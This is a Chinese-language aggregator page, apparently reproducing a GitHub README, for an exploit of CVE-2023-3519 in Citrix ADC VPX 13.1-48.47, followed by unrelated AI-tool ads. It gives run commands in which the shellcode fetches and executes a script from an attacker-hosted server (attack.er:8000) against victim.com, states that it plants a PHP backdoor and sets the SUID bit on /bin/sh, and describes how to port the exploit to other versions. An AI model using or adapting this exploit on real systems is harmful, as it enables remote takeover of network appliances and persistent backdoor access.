懂AI
CVE-2023-3519

CVE-2023-3519

Citrix ADC设备存在远程代码执行漏洞CVE-2023-3519

CVE-2023-3519是一个影响Citrix ADC设备的远程代码执行漏洞。攻击者可通过此漏洞远程执行任意代码，潜在获得设备控制权。该项目针对Citrix VPX 13.1-48.47版本提供漏洞利用代码，包含shellcode生成和验证脚本。代码可创建PHP后门并提升shell权限。此项目仅供授权的安全测试使用，使用时需谨慎。

Citrix ADC远程代码执行CVE-2023-3519漏洞利用网络安全Github开源项目
GitHub文档

Citrix ADC RCE CVE-2023-3519

此漏洞利用针对Citrix VPX 13.1-48.47版本。详细分析请点击此处。

使用

需要安装NASM工具编译shellcode。

$ sudo apt install nasm

本文包含的shellcode将从远程http(s)服务器下载并运行一个shell脚本。该脚本需要3个参数:目标主机、目标端口和shell脚本载荷的URL。此存储库中包含一个示例载荷,它在清理自身之前运行id和uname -a命令。

$ echo 'id' > a
$ python3 -m http.server &
$ python3 cve-2023-3519.py victim.com 443 attack.er:8000/a

URL长度必须足够短以适合shellcode缓冲区,如果过长将会有警告。

Shellcode的artifacts

shellcode将在/var/netscaler/logon/a.php创建一个PHP后门,并设置/bin/sh的SUID位。附带的sh载荷展示了自动清理这些artifacts的示例。请注意,shellcode并未关闭其文件描述符,因此过度重复利用可能会导致资源耗尽。

适用于其他版本

对于基于FreeBSD的Citrix目标,您只需要找到3个值:已保存返回指针的偏移量、一个jmp rsp ROP gadget(或类似的,如push rsp; ret;)以及要跳转到的地址以避免崩溃。这些参数都硬编码在cve-2023-3519.py的顶部。对于某些版本,您可能还需要找到第四个值来修正RBP值,因为编译器生成了基于RBP的加载指令,而不是使用POP指令来恢复已保存的寄存器。

编辑推荐精选

Vora

Vora

免费创建高清无水印Sora视频

Vora是一个免费创建高清无水印Sora视频的AI工具

Refly.AI

Refly.AI

最适合小白的AI自动化工作流平台

无需编码，轻松生成可复用、可变现的AI自动化工作流

酷表ChatExcel

酷表ChatExcel

大模型驱动的Excel数据处理工具

基于大模型交互的表格处理系统，允许用户通过对话方式完成数据整理和可视化分析。系统采用机器学习算法解析用户指令，自动执行排序、公式计算和数据透视等操作，支持多种文件格式导入导出。数据处理响应速度保持在0.8秒以内，支持超过100万行数据的即时分析。

AI工具酷表ChatExcelAI智能客服AI营销产品使用教程
TRAE编程

TRAE编程

AI辅助编程，代码自动修复

Trae是一种自适应的集成开发环境（IDE），通过自动化和多元协作改变开发流程。利用Trae，团队能够更快速、精确地编写和部署代码，从而提高编程效率和项目交付速度。Trae具备上下文感知和代码自动完成功能，是提升开发效率的理想工具。

AI工具TraeAI IDE协作生产力转型热门
AIWritePaper论文写作

AIWritePaper论文写作

AI论文写作指导平台

AIWritePaper论文写作是一站式AI论文写作辅助工具，简化了选题、文献检索至论文撰写的整个过程。通过简单设定，平台可快速生成高质量论文大纲和全文，配合图表、参考文献等一应俱全，同时提供开题报告和答辩PPT等增值服务，保障数据安全，有效提升写作效率和论文质量。

AI辅助写作AI工具AI论文工具论文写作智能生成大纲数据安全AI助手热门
博思AIPPT

博思AIPPT

AI一键生成PPT，就用博思AIPPT！

博思AIPPT，新一代的AI生成PPT平台，支持智能生成PPT、AI美化PPT、文本&链接生成PPT、导入Word/PDF/Markdown文档生成PPT等，内置海量精美PPT模板，涵盖商务、教育、科技等不同风格，同时针对每个页面提供多种版式，一键自适应切换，完美适配各种办公场景。

AI办公办公工具AI工具博思AIPPTAI生成PPT智能排版海量精品模板AI创作热门
潮际好麦

潮际好麦

AI赋能电商视觉革命，一站式智能商拍平台

潮际好麦深耕服装行业，是国内AI试衣效果最好的软件。使用先进AIGC能力为电商卖家批量提供优质的、低成本的商拍图。合作品牌有Shein、Lazada、安踏、百丽等65个国内外头部品牌，以及国内10万+淘宝、天猫、京东等主流平台的品牌商家，为卖家节省将近85%的出图成本，提升约3倍出图效率，让品牌能够快速上架。

iTerms

iTerms

企业专属的AI法律顾问

iTerms是法大大集团旗下法律子品牌，基于最先进的大语言模型(LLM)、专业的法律知识库和强大的智能体架构，帮助企业扫清合规障碍，筑牢风控防线，成为您企业专属的AI法律顾问。

SimilarWeb流量提升

SimilarWeb流量提升

稳定高效的流量提升解决方案，助力品牌曝光

稳定高效的流量提升解决方案，助力品牌曝光

Sora2视频免费生成

Sora2视频免费生成

最新版Sora2模型免费使用，一键生成无水印视频

最新版Sora2模型免费使用，一键生成无水印视频

下拉加载更多